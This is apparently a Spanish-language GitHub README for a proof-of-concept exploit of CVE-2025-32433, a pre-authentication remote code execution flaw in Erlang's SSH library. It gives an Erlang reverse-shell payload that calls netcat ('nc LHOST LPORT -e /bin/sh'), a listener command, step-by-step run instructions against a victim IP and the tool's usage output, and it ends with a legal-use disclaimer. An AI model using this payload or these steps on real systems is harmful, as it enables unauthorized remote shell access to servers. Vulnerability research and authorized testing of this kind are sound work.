tenebrae93/cve-2025-3243Una prueba de concepto que explota CVE-2025-32433, una vulnerabilidad crítica en la librería SSH de Erlang que permite la ejecución de código sin autenticación previa mediante paquetes SSH_MSG_CHANNEL_REQUEST malformados.
Un exploit de prueba de concepto para CVE-2025-32433, una vulnerabilidad crítica en la librería SSH de Erlang que permite la ejecución de código sin autenticación previa mediante paquetes SSH_MSG_CHANNEL_REQUEST malformados.
argparseos:cmd("nc LHOST LPORT -e /bin/sh").nc (Netcat) funcional en tu máquina atacante22)Inicia tu listener en la máquina atacante:
nc -lvnp 4444
Ejecuta el exploit:
python3 CVE-2025-32433.py -lh [Attacker-IP] -lp [Attacker-Port] -rh [Victim-IP] -rp [Victim-Port]
Espera a que la shell se conecte de vuelta a tu listener.
$ python3 CVE-2025-32433.py -h
usage: CVE-2025-32433.py [-h] -lh LHOST -lp LPORT [-rh RHOST] [-rp RPORT]
Send a pre-auth SSH channel request with an Erlang RCE payload
to get a reverse shell
optional arguments:
-h, --help show this help message and exit
-lh LHOST, --lhost LHOST
Local host/IP to receive the reverse shell
-lp LPORT, --lport LPORT
Local port to receive the reverse shell
-rh RHOST, --rhost RHOST
Target SSH server IP (default: 10.10.248.101)
-rp RPORT, --rport RPORT
Target SSH server port (default: 22)
Usa este código únicamente en sistemas que poseas o para los que tengas permiso explícito de prueba. La explotación no autorizada de vulnerabilidades es ilegal y poco ética.